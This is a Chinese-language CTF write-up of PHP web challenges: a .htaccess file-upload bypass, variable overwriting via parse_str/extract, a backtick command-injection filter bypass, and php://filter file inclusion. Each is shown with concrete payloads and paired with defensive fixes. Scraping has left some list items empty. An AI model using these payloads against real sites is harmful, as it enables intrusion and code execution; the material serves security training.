当我第一次遇到这个文件上传页面时,直觉告诉我这很可能存在安全漏洞。测试过程如下:
<?标签并截断后续内容关键发现:系统采用双重防御机制 - 后缀过滤+内容检测
经过多次尝试,最终采用的技术路线:
绕过内容检测:
<script language='php'>替代<?php标签.htaccess攻击:
apache复制SetHandler application/x-httpd-php
php_value auto_prepend_file sh.jpg
这个配置实现了:
最终payload:
Apache服务器的.htaccess文件是目录级配置文件,主要特点:
AllowOverride All才生效| 指令 | 作用 | 攻击用途 |
|---|---|---|
| SetHandler | 强制文件处理方式 | 使图片按PHP解析 |
| AddType | 扩展名与MIME映射 | 伪造文件类型 |
| php_value | 设置PHP配置项 | 预包含恶意文件 |
服务器配置:
apache复制AllowOverride None
内容检测:
权限控制:
分析给出的PHP代码,发现三重安全机制:
php复制parse_str("_POST[flag1]=8gen1", $output);
// 结果:$output['_POST']['flag1'] = '8gen1'
这个特性允许我们:
php复制extract($_POST);
// 将数组键名转为变量,导致变量覆盖
code复制?_POST[flag1]=8gen1&_POST[flag2]=8gen1
code复制504[SYS.COM]=1&sys=var_dump($flag)
php复制disable_functions = "extract,parse_str"
php复制foreach($_REQUEST as $k=>$v){
if(strpos($k, '[')!==false) die('Hack detected');
}
php复制// 替代extract
$allowed = ['user','page'];
foreach($allowed as $var){
$$var = $_POST[$var] ?? null;
}
给出的正则表达式过滤了:
但遗漏了:
| 方法 | 原理 | 示例 | 适用场景 |
|---|---|---|---|
| 反引号+注释 | 利用拼接特性 | `ls`);// |
简单命令 |
| 重定向符 | 替代空格 | cat<file |
文件读取 |
| 直接函数 | 调用内置函数 | readfile() |
无需外部命令 |
探测环境:
code复制args1=echo&args2=`ls`);//&args3=1
输出:flagggg index.php
获取flag:
code复制args1=readfile&args2=flagggg);//&args3=1
成功显示flag内容
php复制$allowed = ['date','strlen'];
if(!in_array($args1, $allowed)) die();
php复制if(preg_match('/`|\(|\)/', $evil)) die();
php复制// 替代eval
function safe_call($func, $param){
static $whitelist = ['htmlspecialchars'];
if(in_array($func, $whitelist)){
return $func($param);
}
}
首页分析:
抓包技巧:
bash复制curl -v http://example.com | grep -i hint
关键漏洞点:
php复制text=data://text/plain,welcome to the 504sys
php复制file=php://filter/read=string.rot13/resource=imposible.php
code复制GET /?text=data://text/plain,welcome+to+the+504sys
code复制&file=php://filter/convert.base64-encode/resource=imposible.php
bash复制echo 'synt{...}' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
php复制ini_set('allow_url_fopen', 'Off');
ini_set('allow_url_include', 'Off');
php复制if(!is_file($text) || !is_readable($text)) die();
php复制$allowed = ['header.php','footer.php'];
if(!in_array(basename($file), $allowed)) die();
在实战中我总结了几个关键点:
代码审计三要素:
绕过技巧金字塔:
code复制 [逻辑漏洞]
/ \
[协议利用] [编码绕过]
/ \ / \
[黑名单] [白名单]
调试技巧:
工具链配置:
这些经验在实际渗透测试中同样适用,关键在于培养系统的安全思维和持续积累的漏洞模式识别能力。每个CTF题目都是真实漏洞的缩影,理解其原理才能更好地防御。